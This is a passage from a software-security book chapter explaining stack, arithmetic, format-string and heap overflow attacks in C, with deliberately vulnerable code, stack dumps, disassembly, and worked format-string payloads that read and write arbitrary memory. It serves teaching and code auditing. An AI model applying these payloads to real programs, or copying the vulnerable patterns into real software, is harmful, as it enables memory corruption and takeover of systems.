basic idea is that you might ferret out an off-by-one error where you can
exploit the stack. Lastly, for any calculations made with reference to a
length value, check for signed/unsigned conversion errors (which we will
also explain further later).

Stack Overflow

Using buffer overflow against variables on the stack is sometimes called a
stack overflow, and more often is called smashing the stack. Stack overflow
is the first type of buffer overflow to be widely popularized and exploited in
the wild. There are thousands of known stack overflows in commercial soft-
ware, on almost every platform imaginable. Stack overflows are mostly the
result of poorly designed string handling routines found in the standard C
libraries.
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We cover the basic stack overflow here only for completeness because
the subject has been treated ad naseum in other works. If you’re new to
this kind of attack, you should read the buffer overflow chapter in Building
Secure Software [Viega and McGraw, 2001]. In this section we focus on
some of the more esoteric string handling problems, providing detail often
missing in standard treatments.

Fixed-Size Buffers

The hallmark of a classic stack overflow is a fixed-size string buffer located
on the stack and coupled with a string handling routine that depends on a
NULL-terminated buffer. Examples of such string handling routines include
strcpy() and strcat() calls into fixed-size buffers, and sprintf() and
vsprintf() into fixed-size buffers using the %s format string. Other varia-
tions exist, including scanf() into fixed-size buffers using the %s format
string. An incomplete list of the string handling routines that lead to stack
overflows follows9:

sprintf

wsprintf

wsprintfA

wsprintfW

strxfrm

wcsxfrm

_tcsxfrm

lstrcpy

lstrcpyn

lstrcpynA

lstrcpyA

lstrcpyW

swprintf

_swprintf

gets

stprintf

strcat

strncat.html

strcatbuff

strcatbuffA

Stack Overflow 301

9. One nice place to look for exhaustive lists of vulnerable functions like these is in static
analysis tools that scan for security problems. SourceScope (a Cigital tool) includes a
database of rules used during the scanning process. Clever attackers know that defensive
tools can easily be turned into offensive weapons.

30294 07 277-366 r10jk.ps  1/30/04  2:19 PM  Page 301



strcatbuffW

StrFormatByteSize

StrFormatByteSizeA

StrFormatByteSizeW

lstrcat

wcscat

mbscat

_mbscat

strcpy

strcpyA

strcpyW

wcscpy

mbscpy

_mbscpy

_tcscpy

vsprintf

vstprint

vswprintf

sscanf

swscanf

stscanf

fscanf

fwscanf

ftscanf

vscanf

vsscanf

vfscanf

Because they are so well-known and are now considered “low-hanging
fruit” for attackers, classic stack overflows are becoming a thing of the past.
An exploitable stack overflow is quickly published and almost as quickly
fixed. However, many other problems exist that can lead to memory cor-
ruption and buffer overflow. For these reasons, understanding the basic case
is useful.

Functions That Do Not Automatically NULL Terminate

Buffer management is a much more extensive problem than some people
realize. It is not simply the domain of a few delinquent API calls that expect
NULL-terminated buffers. Often, buffer arithmetic will be performed on
string length to help thwart the standard overflow. However, certain meant-
to-be-helpful API calls have very nonobvious behaviors, and are therefore
pretty easy to mess up.
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One such easy-to-misuse API call is strncpy(). This is an interesting
call because it is primarily used to prevent buffer overflows. The problem is
that the call itself has a deadly detail that is often overlooked: It will not
place a NULL terminator on the end of the string if the string is too large to
fit into the target buffer. This can result in raw memory being “tacked” onto
the end of the target string buffer. There is no buffer overflow in the classic
sense of the word, but the string is effectively unterminated.

The problem is that any subsequent call to strlen() will return an
incorrect (and misleading) value. Remember that strlen expects a NULL-
terminated string. So it will return at least the length of the original string,
plus as many bytes as it takes until a NULL character shows up in the raw
memory that was accidentally appended on the end. This will usually return
a value that is significantly larger than the actual string length. Any arith-
metic performed on the basis of this information will be invalid (and subject
to attack).

Example: Address-Based Arithmetic Problem

An example of this problem involves the following code.

strncpy(target, source, sizeof(target));

If target is 10 characters, and source is 11 characters (or more) including
the NULL, the 10 characters will not be properly NULL terminated!

Consider the FreeBSD UNIX distribution. BSD is often considered to be
one of the most secure UNIX environments; however, hard-to-spot bugs like
the one described earlier have been found with some regularity in BSD. The
syslog implementation includes some code that checks whether a remote
host has permissions to log to syslogd. The code that performs this check in
FreeBSD 3.2 is as follows:

strncpy(name, hname, sizeof name);

if (strchr(name, '.') == NULL) {

strncat(name, ".", sizeof name - strlen(name) - 1);

strncat(name, LocalDomain, sizeof name - strlen(name) - 1);

}

In this case, if the hname variable is large enough to fill the name variable
completely, no NULL terminator will be placed on the end of the name
variable. This is the common curse of strncpy() use. In the subsequent
arithmetic, the expression sizeof name – strlen(name), results in a
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negative value. The function strncat takes an unsigned variable, which
means that a negative number will be interpreted by the program as a very
large positive number. Thus, strncat overwrites past the end of the name
buffer by a largish leap. Game over for syslogd.

There are a number of functions that do not automatically place a
NULL terminator on a buffer. They include

fread()

read()

readv()

pread()

memcpy()

memccpy()

bcopy()

gethostname()

strncat()

Vulnerabilities related to the misuse of strncpy (and friends) are a
relatively untapped source of future exploits. As the low-hanging fruit repre-
sented by easier-to-spot errors is consumed, look to more subtle errors like
the previous one to bubble to the surface.

Functions with Off-By-One NULL Termination

Some string functions are designed to place a NULL terminator at the end
of a string, always. This is probably better than leaving placement of the
NULL up to the programmer, but problems are still possible. The arithmetic
built into some of these functions can be confusing, and may in some cases
result in the NULL being placed after the end of the buffer. This is an “off-
by-one” situation in which a single byte of memory is overwritten. On the
stack, this seemingly small single-byte problem can leave the program com-
pletely exploitable.

A good example to consider is the strncat() call, which always places
a NULL after the last byte of the string transfer and can thereby be used to
overwrite the stack frame pointer. The next function pulled from the stack
moves the saved EBP into ESP, the stack pointer (Figure 7–6).

Consider the following simple code:

1. void test1(char *p)

2. {

3.       char t[12];
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4.       strcpy(t, "test");

5.       strncat(t, p, 12-4);

6. }

After line 4 has executed, the stack looks like this:

0012FEC8  74 65 73 74  test <- character array

0012FECC  00 CC CC CC  .ÌÌÌ <- character array

0012FED0  CC CC CC CC  ÌÌÌÌ <- character array

0012FED4  2C FF 12 00  ,ÿ.. <- saved ebp

0012FED8  B2 10 40 00  2.@. <- saved eip

Notice that 10 bytes have been allocated for the character array t[10].
If we supply a short string xxx in p, the stack now looks like this:

0012FEC8  74 65 73 74  test

0012FECC  78 78 78 00  xxx. <- appended "xxx"

0012FED0  CC CC CC CC  ÌÌÌÌ

0012FED4  2C FF 12 00  ,ÿ..

0012FED8  B2 10 40 00  2.@.

Notice that xxx was appended, and a NULL terminator was placed right at
the end.
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Now, what happens if we supply a very large string like xxxxxxxxxxx
instead? The stack ends up looking like this:

0012FEC8  74 65 73 74  test

0012FECC  78 78 78 78  xxxx

0012FED0  78 78 78 78  xxxx

0012FED4  00 FF 12 00  .ÿ.. <- notice NULL byte overwrite

0012FED8  B2 10 40 00  2.@.

When the function returns, the following opcodes are executed:

00401078   mov         esp,ebp

0040107A   pop         ebp

0040107B   ret

You can see that ESP is restored from the EBP that is stored in the regis-
ter. This comes out just fine. Next we see that the saved EBP is restored from
the stack, but the EBP on the stack is the value that we just munged. This
means EBP has now been corrupted. When the next function on the stack
returns, the same opcodes are repeated:

004010C2   mov         esp,ebp

004010C4   pop         ebp

004010C5   ret

Here we see our freshly corrupted EBP ending up as a stack pointer.
Consider a more complex stack arrangement in which we control data

in several places. The following stack has a string of ffffs that was placed
there by the attacker in a previous call. The correct EBP should be 0x12FF28,
but as you can see we have overwritten the value with 0x12FF00. The crit-
ical detail to notice here is that 0x12FF00 falls within the string of ffff
characters that we control on the stack. This means we can force a return
into a place that we control, and thus cause a successful buffer overflow
attack:

0012FE78  74 65 73 74  test

0012FE7C  78 78 78 78  xxxx

0012FE80  78 78 78 78  xxxx

0012FE84  78 78 78 78  xxxx

0012FE88  78 78 78 78  xxxx

0012FE8C  78 78 78 78  xxxx

0012FE90  00 FF 12 00  .ÿ.. <- note we overflow w/ a NULL
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0012FE94  C7 10 40 00  Ç.@.

0012FE98  88 2F 42 00  ./B.

0012FE9C  80 FF 12 00  .ÿ..

0012FEA0  00 00 00 00  ....

0012FEA4  00 F0 FD 7F  .2ý.

0012FEA8  CC CC CC CC  ÌÌÌÌ

0012FEAC  CC CC CC CC  ÌÌÌÌ

0012FEB0  CC CC CC CC  ÌÌÌÌ

0012FEB4  CC CC CC CC  ÌÌÌÌ

0012FEB8  CC CC CC CC  ÌÌÌÌ

0012FEBC  CC CC CC CC  ÌÌÌÌ

0012FEC0  CC CC CC CC  ÌÌÌÌ

0012FEC4  CC CC CC CC  ÌÌÌÌ

0012FEC8  CC CC CC CC  ÌÌÌÌ

0012FECC  CC CC CC CC  ÌÌÌÌ

0012FED0  CC CC CC CC  ÌÌÌÌ

0012FED4  CC CC CC CC  ÌÌÌÌ

0012FED8  CC CC CC CC  ÌÌÌÌ

0012FEDC  CC CC CC CC  ÌÌÌÌ

0012FEE0  CC CC CC CC  ÌÌÌÌ

0012FEE4  CC CC CC CC  ÌÌÌÌ

0012FEE8  66 66 66 66  ffff

0012FEEC  66 66 66 66  ffff

0012FEF0  66 66 66 66  ffff

0012FEF4  66 66 66 66  ffff

0012FEF8  66 66 66 66  ffff

0012FEFC  66 66 66 66  ffff

0012FF00  66 66 66 66  ffff <- the corrupt EBP points here now

0012FF04  46 46 46 46  FFFF

0012FF08  CC CC CC CC  ÌÌÌÌ

0012FF0C  CC CC CC CC  ÌÌÌÌ

0012FF10  CC CC CC CC  ÌÌÌÌ

0012FF14  CC CC CC CC  ÌÌÌÌ

0012FF18  CC CC CC CC  ÌÌÌÌ

0012FF1C  CC CC CC CC  ÌÌÌÌ

0012FF20  CC CC CC CC  ÌÌÌÌ

0012FF24  CC CC CC CC  ÌÌÌÌ

0012FF28  80 FF 12 00  .ÿ.. <- original location of EBP

0012FF2C  02 11 40 00  ..@.

0012FF30  70 30 42 00  p0B.

Note that the attacker has placed FFFF into the string just after the new EBP
location. Because the epilog code issues a pop ebp command just before the
return, the value stored at the new EBP location gets popped from the stack.
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The ESP chunks forward one location, to 0x12FF04. If we place our injected
EIP at 0x12FF04, the new EIP gets set to 0x46464646. A successful attack.

Overwriting Exception Handler Frames

Pointers to exception handlers are also typically stored on the stack. This
means that we can use a stack overflow to overwrite an exception handler
pointer as a variation on stack smashing. Using a very large, naive over-
flow, we can overwrite past the end of the stack and intentionally cause
an exception to occur. Then, because we have already overwritten the ex-
ception handler pointer, the exception will cause our payload to be executed
(Figure 7–7). The following diagram illustrates an injected buffer that
overflows past the end of the stack. The attacker has overwritten the
exception handler record, which is itself stored on the stack. The new record
points to an attack payload so that when the SEGV occurs, the processor
jumps to the attack code and chugs merrily through it.
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Arithmetic Errors in Memory Management

Bugs in arithmetic, especially pointer arithmetic (which can get tricky fast)
can lead to miscalculations of buffer size and thus to buffer overflows.
At the time of this writing, pointer arithmetic bugs remain a relatively un-
tapped area of exploration for attackers. Some very deadly remote root
overflows bank on this arithmetic bug exploit technique.

Numbers relating to buffer size can often be controlled by an attacker
both directly and indirectly. Direct values are often obtained from packet
headers (which can be manipulated). Indirect values are obtained with the
use of strlen() on a user-controlled buffer. In the latter case, the attacker
gains control of numerical length calculations by controlling the size of the
string that is injected.

Negative Values Equal Large Values

Digital computers represent numbers in interesting ways. Sometimes, in-
tegers can be made so large that they “overflow” the integer-size representa-
tion used by the machine. If exactly the right string length is injected, the
attacker can sometimes force length calculations into negative values. As a
result of representational arcana, when the negative value is treated as an
unsigned number, it is treated as a very large number instead. Consider that
in one common representational scheme, –1 (for 32-bit integers) is the same
as 0xFFFFFFFF, which taken as a large unsigned number is 4294967295.

Consider the following code snippet:

int main(int argc, char* argv[])

{

char _t[10];

char p[]="xxxxxxx";

char k[]="zzzz";

strncpy(_t, p, sizeof(_t));

strncat(_t, k, sizeof(_t) - strlen(_t) - 1);

return 0;

}

After execution, the resulting string in _t is xxxxxxxzz;.
If we supply exactly ten characters in p (xxxxxxxxxx), then sizeof(_t)
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and strlen(_t) are the same, and the final length calculation ends up being
–1, or 0xFFFFFFFF. Because the argument to strncat is unsigned, it ends up
being interpreted as a very large number, and the strncat is effectively not
bounded. The result is stack corruption that provides the ability to over-
write the instruction pointer or other values saved on the stack.

The munged stack looks like this:

0012FF74  78 78 78 78  xxxx

0012FF78  78 78 78 78  xxxx

0012FF7C  78 78 CC CC  xxÌÌ

0012FF80  C0 FF 12 7A  Àÿ.z <- corruption here

0012FF84  7A 7A 7A 00  zzz. <- and here.

Spotting the Problem in Code
0040D603   call        strlen (00403600)

0040D608   add         esp,4

0040D60B   mov         ecx,0Ah

0040D610   sub         ecx,eax

0040D612   sub         ecx,1            <- suspicious

In the previous snippet, we see a call to strlen, and a series of subtractions.
This is a good place to audit for a possible signed length problem.

For a 32-bit signed value, 0x7FFFFFFF is maximum and 0x80000000 is
minimum. The trick with range errors is to cause the number to transition
from “positive” to “negative” or vice versa, often with only the smallest
imaginable change.

Clever attackers cause values to transition across the min/max partition,
as shown in Figure 7–8.

Signed/Unsigned Mismatch

Most arithmetic bugs are caused by the difference between signed and
unsigned values. In the typical case, a comparison will be made that allows a
code block to execute if a number is below a certain value. For example,

if (X < 10)

{

do_something(X);

}

If X is less than 10, then the code block (do_something) will execute. The
value of X is then passed to the function do_something(). Now consider
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0xFFFFFFFF

0x00000000

Unsigned value

0x7FFFFFFF

0x80000000

Signed value

Figure 7–8 Arithmetic errors are
very subtle and make excellent
exploit fodder. A “tiny” change in
representation (sometimes 1 bit)
causes a big change in value.

if X is equal to –1. Negative one is less than 10, so the code block will exe-
cute. But remember that –1 is the same as 0xFFFFFFFF. If the function
do_something() treats X as an unsigned variable, then X will be treated
as a very large number: 4294967295, to be precise.

In the real world, this problem can occur when the value X is based on a
number supplied by the attacker or on the length of a string that is passed to
the program. Consider the following chunk of code:

void parse(char *p)

{

int size = *p;

char _test[12];

int sz = sizeof(_test);

if( size < sz )

{

memcpy(_test, p, size);

}

}

int main(int argc, char* argv[])

{

// some packet

char _t[] = "\x05\xFF\xFF\xFF\x10\x10\x10\x10\x10\x10";
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char *p = _t;

parse(p);

return 0;

}

The parser code gets the size variable from *p. As an example, we will
supply the value 0xFFFFFF05 (in little endian byte order). As a signed value,
this is -251. As an unsigned value, this is 4294967045, a very large number.
We can see that -251 is certainly less than the length of our target buffer.
However, memcpy doesn’t use negative numbers, so the value is treated as a
large unsigned value. In the previous code, memcpy will use the size as an
unsigned int, and a huge stack overflow occurs.

Spotting the Problem in Code

Finding sign mismatches in a dead listing is easy, because you will see two
different kind of jump statements being used in relation to the variable.
Consider the following code:

int a;

unsigned int b;

a = -1;

b = 2;

if(a <= b)

{

puts("this is what we want");

}

if(a > 0)

{

puts("greater than zero");

}

Consider the assembly language:

a = 0xFFFFFFFF

b = 0x00000002

Consider the comparison:
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0040D9D9 8B 45 FC             mov         eax,dword ptr [ebp-4]

0040D9DC 3B 45 F8             cmp         eax,dword ptr [ebp-8]

0040D9DF 77 0D                ja          main+4Eh (0040d9ee)

The ja indicates an unsigned comparison. Thus, a is larger than b, and the
code block is skipped.

Elsewhere,

17:       if(a > 0)

0040DA1A 83 7D FC 00          cmp         dword ptr [ebp-4],0

0040DA1E 7E 0D                jle         main+8Dh (0040da2d)

18:       {

19:           puts("greater than zero");

0040DA20 68 D0 2F 42 00       push        offset string 

"greater than zero" 

(00422fd0)

0040DA25 E8 E6 36 FF FF       call        puts (00401110)

0040DA2A 83 C4 04             add         esp,4

20:       }

We see the same memory location compared and branched with a jle, a
signed comparison. This should cause us to become suspicious, because the
same memory is being branched with both signed and unsigned criteria.
Attackers like this sort of problem.

Scanning for the Problem with IDA

Finding potential sign mismatches by scanning the disassembly is also
straightforward. For unsigned comparisons:

JA

JB

JAE

JBE

JNB

JNA

For signed comparisons:

JG

JL

JGE

JLE

Arithmetic Errors in Memory Management 313

30294 07 277-366 r10jk.ps  1/30/04  2:19 PM  Page 313



Use a disassembler like IDA to find all occurrences of a signed variable
operation. This results in a list of interesting locations, as shown in Fig-
ure 7–9.

Instead of checking all the operations one at a time, you can search for a
regular expression that encompasses all the calls. Figure 7–10 shows the use
of j[gl] as a search expression.

Even in moderate-size programs, you can easily read each of the loca-
tions using signed values. If the locations are near points where user-
supplied input is being handled (i.e., a call to recv(..)), then further
investigation may reveal that data are being used in the signed operation.
Many times this can be leveraged to cause logic and arithmetic errors.
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Figure 7–9 IDA can be used to create a
list of various assembly language calls
and note where they occur. Using a
list like this, we can look for signed/
unsigned mismatches to explore further.
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Signed Values and Memory Management

Similar mistakes are often found in memory management routines. A typical
mistake in code will look like this:

int user_len;

int target_len = sizeof(_t);

user_len = 6;

if(target_len > user_len)

{

memcpy(_t, u, a); 

}

The int values cause signed comparisons, whereas the memcpy uses un-
signed values. No warning is given on compilation of this mistake. If the
user_len value can be controlled by the attacker, then inserting a large
number like 0x8000000C will cause the memcpy to execute with a very large
number.

We can identify size variables in reverse assembly as shown in Fig-
ure 7–11. Here, we see

sub edi, eax

where edi is subsequently used as an unsigned size variable. If we can con-
trol either edi or eax, we will want the edi value to wrap over the zero
boundary and become –1.

Similarly, we can look for pointer arithmetic as shown in Figure 7–12.
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Figure 7–10 Use of the j[gl] regular
expression to search for several relevant calls
at once.
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A search for e.x.e.x returns a list of locations (shown in Figure 7–13). If any
of the values in Figure 7–13 are controlled by a user, then memory corrup-
tion is a clear possibility.
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Figure 7–11 A flow control
graph of the target program. A
search for signed values often
yields paydirt.

Figure 7–12 Searching for calls
related to pointer arithmetic.
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Format String Vulnerabilities

When you get right down to it, format string vulnerabilities are relatively
simple in nature. An API call that takes a format string (i.e., %s) can be ex-
ploited when the format string argument is controlled by a remote attacker.
Unfortunately, the problem exists mainly because of laziness on the part of
the programmer. However, the problem is so simple that it can be detected
automatically using simple code scanners. Thus, once the format string vul-
nerability was publicized in the late 1990s, it was rapidly hunted down and
eliminated in most software.

The format string vulnerability is interesting because it was known
about by certain “underground” hacking groups for several years before be-
coming common knowledge. It was also likely known in certain IW circles.
Knowledge of the format string vulnerability before it was publicized was
like having the keys to the kingdom. When knowledge of the format bug
was leaked to the information security public, all of this was lost. Needless
to say, certain people “in the know” were disappointed at the disclosure.
Someone took away their toys.
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Figure 7–13 Results of a pointer
arithmetic search on the target.
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Here is a trivial function that suffers from a format string problem:

void some_func(char *c)

{

printf(c);

}

Note that unlike in the case of a hard-coded format string, in this case
the format string is user supplied and is also passed on the stack. This is
important.

If we pass in a format string like this

AAAAAAAA%08x%08x%08x%08x

the values will be printed from the stack like this

AAAAAAAA0012ff80000000007ffdf000cccccccc

The %08x causes the function to print a double word from the stack.
The stack looks like this:

0012FE94  31 10 40 00  1.@.

0012FE98  40 FF 12 00  @ÿ..

0012FE9C  80 FF 12 00  .ÿ.. <- printing 1

0012FEA0  00 00 00 00  .... <- printing 2

0012FEA4  00 F0 FD 7F  .2ý. <- printing 3

0012FEA8  CC CC CC CC  ÌÌÌÌ <- etc, etc

0012FEAC  CC CC CC CC  ÌÌÌÌ

0012FEB0  CC CC CC CC  ÌÌÌÌ

...

0012FF24  CC CC CC CC  ÌÌÌÌ

0012FF28  CC CC CC CC  ÌÌÌÌ

0012FF2C  CC CC CC CC  ÌÌÌÌ

0012FF30  CC CC CC CC  ÌÌÌÌ

0012FF34  CC CC CC CC  ÌÌÌÌ

0012FF38  CC CC CC CC  ÌÌÌÌ

0012FF3C  CC CC CC CC  ÌÌÌÌ

0012FF40  41 41 41 41  AAAA <- format string

0012FF44  41 41 41 41  AAAA <- that we control

0012FF48  25 30 38 78  %08x <-

0012FF4C  25 30 38 78  %08x <-

0012FF50  25 30 38 78  %08x <-

0012FF54  25 30 38 78  %08x <-
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0012FF58  00 CC CC CC  .ÌÌÌ

0012FF5C  CC CC CC CC  ÌÌÌÌ

0012FF60  CC CC CC CC  ÌÌÌÌ

0012FF64  CC CC CC CC  ÌÌÌÌ

The previous example includes large amounts of padding on the stack
between interesting stuff. As you can see, for each of the %08x strings we
put into the format string, the next value on the stack is printed. If we add
enough copies of the %08x, we will eventually cause the pointer to travel all
the way down the stack until it points into our controlled region. For ex-
ample, if we supply a much longer format string,

AAAAAAAA%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%

08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%0

8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x

we get the following output:

AAAAAAAA0012ff80038202107ffdf000

cccccccccccccccccccccccccccccccccccccccccccccccc

cccccccccccccccccccccccccccccccccccccccccccccccc

cccccccccccccccccccccccccccccccc0012ff800040d695

0012ff4002100210038202107ffdf000cccccccccccccccc

cccccccccccccccccccccccccccccccccccccccccccccccc

cccccccccccccccccccccccccccccccccccccccccccccccc

cccccccccccccccc414141414141414178383025

In this case we end up printing “41414141,” which is the “AAAA” from
our format string! We have thus caused the printf function to traverse the
stack into our user-controlled data:

0012FF3C  CC CC CC CC  ÌÌÌÌ

0012FF40  41 41 41 41  AAAA <- pointer has

0012FF44  41 41 41 41  AAAA <- traversed to

0012FF48  25 30 38 78  %08x <- here

0012FF4C  25 30 38 78  %08x 

0012FF50  25 30 38 78  %08x 

0012FF54  25 30 38 78  %08x 

Printing Data from Anywhere in Memory

Because we control the format string as well as the values being used on the
stack, we can substitute %s for %08x and cause a value on the stack to be
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used as a string pointer. Because we control the value on the stack, we can
specify any such pointer and cause the data behind the pointer to be output.

As an example, we supply the following at the end of our format string:

x%08x%08x_%s_

We also need to change the value 0x41414141 to a real pointer (otherwise
we will merely cause an SEGV). Lets say we want to dump data stored at
0x0x77F7F570 (this is code memory and perhaps our objective is to obtain
the operational codes). Our final string looks like this:

AAAA\x70\xF5\xF7\x77%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%

08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%0

8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x_%s_

and the following output is obtained:

AAAAp ≈w0012ff80000000007ffdf000

cccccccccccccccccccccccccccccccc

cccccccccccccccccccccccccccccccc

cccccccccccccccccccccccccccccccc

cccccccccccccccccccccccccccccccc

0012ff800040d6950012ff4000000000

000000007ffdf000cccccccccccccccc

cccccccccccccccccccccccccccccccc

cccccccccccccccccccccccccccccccc

cccccccccccccccccccccccccccccccc

cccccccccccccccc41414141_

Using this method, we can dump large sections of a target binary and
use it as input for reverse assembly and further attack. Of course, the string
will terminate at the first NULL character it finds in memory.10 This is an-
noying, but not fatal. A related problem is the fact that you cannot dump
memory from “lowland” addresses (that is, addresses that themselves in-
clude a NULL character). For example, under a Windows OS, the main
executable is typically loaded at the base address of 0x00400000. The pre-
pended 0x00 will always be present for addresses in this region, and thus
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10. Because we’re working with C strings here, the operations we’re manipulating consider
NULL as the end of the string.
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you cannot dump memory from here. It is possible, however, to obtain
cryptographic secrets, passwords, and other data using this method, not
to mention code stored in any highland address, including most of the
loaded DLLs.

The %n Format Token

The %n token in string format land causes the number of bytes written so far
to be output to an integer pointer. That is, the number of bytes that have
currently been “printed” via the API call is stored as a number into an inte-
ger pointer. This is best understood by example:

int my_int;

printf("AAAAA%n ", &my_int);

printf("got %d", my_int);

The example prints AAAAA got 5. The my_int variable gets the value five
because five A characters were printed by the time the machine encountered
the %n.

Using some variations on our previous examples, consider a format
string like this:

AAAA\x04\xF0\xFD\x7F\x05\xF0\xFD\x7F\x06\xF0\xFD\x7F\x07\xF0\xFD\

x7F%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%0

8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08

x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%n

Note that our format string has a hard-coded number (\x04\xF0\xFD\x7F)
that, because of little endian encoding, is really equivalent to the number
0x7FFDF004. Note also the %n at the end of our string. The %08x padding
pops the stack pointer until it points to our encoded number (0x7FFDF004).
The %n follows, which causes the number of current bytes written to be
stored to an integer pointer. The stack points to our number 0x7FFDF004,
which is thereby treated as the integer pointer to write into. This causes data
to be written to the address 0x7FFDF004. We are in complete control of this
address, of course.

Once all this is executed, the memory at the target looks like

7FFDF000  00 00 01 00  ....

7FFDF004  64 01 00 00  d... <- we wrote a number here

7FFDF008  00 00 40 00  ..@.
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The number 0x00000164 is equal to 356, which means 356 bytes were
“written” according to the machine. Notice that we have encoded four
addresses in a row, each one offset by a single byte. If we put four %n se-
quences at the end of our format string, we can overwrite each byte of the
target address. We are thus able to control the precise location of the nu-
merical output via our format string. Also take note of the hard-coded
addresses in our format string. As you can see, we are incrementing the
pointer by a single byte each time:

AAAA\x04\xF0\xFD\x7F\x05\xF0\xFD\x7F\x06\xF0\xFD\x7F\x07\xF0\xFD\

x7F%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%0

8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08

x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%n%n%n%n

The target memory now looks like this:

7FFDF000  00 00 01 00  ....

7FFDF004  64 64 64 64  dddd <- we write 0x00000164 four times

7FFDF008  01 00 00 00  ....

Understanding what we just did is critical to this kind of attack: The
current number of bytes written in this example is 0x164. We cause this
number to be written four times over, each time nudging the pointer for-
ward by one. The end result is the value 0x64646464 poked directly into our
target address.

The %00u Format Token

In the previous example we accessed the current number of bytes written. If
left to chance, this number will probably not be the exact value you want to
place in memory. Fortunately you can control this number quite easily as
well. Using the method we illustrate earlier, only the lowest byte matters, so
we simply need to cause values where the least significant byte lands on our
intended value.

Our new format string contains 0x41414141 padding between each
address:

AAAA\x04\xF0\xFD\x7F\x41\x41\x41\x41\x05\xF0\xFD\x7F\x41\x41\x41\x41\x06\xF0\xFD\x

7F\x41\x41\x41\x41\x07\xF0\xFD\x7F%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x

%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08

x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%16u%n
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We also include a new formatting sequence: %16u. This new sequence affects
the current number of printed bytes. The 16 causes 16 to be added to the
current byte count. Thus, using the %XXu notation, we can control the num-
ber being placed in our memory location! Cool beans.

Using %20u%n:

7FFDF000  00 00 01 00  ....

7FFDF004  7C 01 00 00  |... 17c = 380

7FFDF008  00 00 40 00  ..@.

Using %40u%n:

7FFDF000  00 00 01 00  ....

7FFDF004  90 01 00 00  .... 190 = 400

7FFDF008  00 00 40 00  ..@.

As you can see, the precise number placed in the memory location can
now be controlled by an attacker. Used once for each of the given addresses,
this technique controls each byte of the target memory, effectively allowing
us to put whatever we want there.

Consider this format string:

AAAA\x04\xF0\xFD\x7F\x42\x42\x42\x42\x05\xF0\xFD\x7F\x41\x41\x41\

x41\x06\xF0\xFD\x7F\x41\x41\x41\x41\x07\xF0\xFD\x7F%08x%08x%08x%0

8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08

x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x

%08x%08x%08x%08x%08x%152u%n%64u%n%191u%n%256u%n

Note the values chosen for %Xxu. This format string results in precise control
over the target memory bytes:

7FFDF000  00 00 01 00  ....

7FFDF004  00 40 FF FF  .@ÿÿ <- we write 0xFFFF4000

7FFDF008  03 00 00 00  ....

The fine-grained control that we have demonstrated over values in
memory can be used to overwrite pointers on the heap or on the stack. In
the case of Windows, the stack is located in lowland memory where it will
be impossible to encode the data without a NULL character. This, of course,
will defeat a simple direct attack, making exploit more difficult.
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Detecting the Problem in Code

Looking for places to carry out this kind of attack is half the battle. One
approach is to notice stack corrections after a call. If stack corrections
added to ESP after a call look fishy, we’re on to something.

A normal printf:

printf("%s", t);

00401032   call        printf (00401060)

00401037   add         esp,8

A bad printf:

printf(t);

0040102D   call        printf (00401060)

00401032   add         esp,4

Notice that the stack correction after the broken printf is only 4 in the
vulnerable call. This will tip you off that you have found a format string
vulnerability.

❉ Attack Example: Syslog()

The extremail server uses the flog() function which passes user-supplied
data as the format string to an fprintf call. This can be exploited with
string format overflow.

Heap Overflows

Heap memory consists of large blocks of allocated memory. Each block has
a small header that describes the size of the block and other details. If a heap
buffer suffers from overflow, an attack overwrites the next block in the

Attack Pattern: String Format Overflow in syslog()

The syslog function is typically misused, and user-supplied data are passed as a format

string. This is a common problem, and many public vulnerabilities and associated ex-

ploits have been posted.
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heap, including the header. If you overwrite the header of the next block in
memory, you can cause arbitrary data to be written to memory. Each exploit
and software target has unique results, making this attack difficult.
Depending on the code, the points at which memory can be corrupted will
change. This isn’t bad, it just means that the exploit that you craft must be
unique to the target.

Heap overflows have been understood and exploited in the computer
underground for several years, but the technique remains fairly esoteric.
Unlike stack overflows (which have by now been almost hunted to ex-
tinction), heap overflow vulnerabilities are still very prevalent.

Typically, heap structures are placed contiguously in memory. The direc-
tion of buffer growth is shown in Figure 7–14.

Each OS and compiler uses different methods for managing the heap.
Even different applications on the same platform may use different methods
for heap management. The best thing to do when working an exploit is to
reverse engineer the heap system in use, keeping in mind that each target
application is likely to use slightly different methods.

Figure 7–15 shows how Windows 2000 organizes heap header
information.
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HEAP BUFFERHEADER

HEAP BUFFERHEADER

HEAP BUFFER

HEADER

Figure 7–14 Heap buffer growth in a typical platform.

SIZE OF PREVIOUS
HEAP BLOCK / 8

SIZE OF THIS HEAP 
BLOCK / 8

FLAGS Figure 7–15 Under Windows 2000, this
pattern is used to represent the heap
header.
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Consider the following code:

char *c = (char *) HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, 10);

char *d = (char *) HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, 32);

char *e = (char *) HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, 10);

strcpy(c, "Hello!");

strcpy(d, "Big!");

strcpy(e, "World!");

HeapFree( GetProcessHeap(), 0, e);

and the heap

...

00142ADC  00 00 00 00  ....

00142AE0  07 00 05 00  ....

00142AE4  00 07 18 00  ....

00142AE8  42 69 67 21  Big! <- we control this buffer

00142AEC  00 00 00 00  .... <-

00142AF0  00 00 00 00  .... <- ...

00142AF4  00 00 00 00  ....

...

00142B10  00 00 00 00  .... <- this gets read into EAX

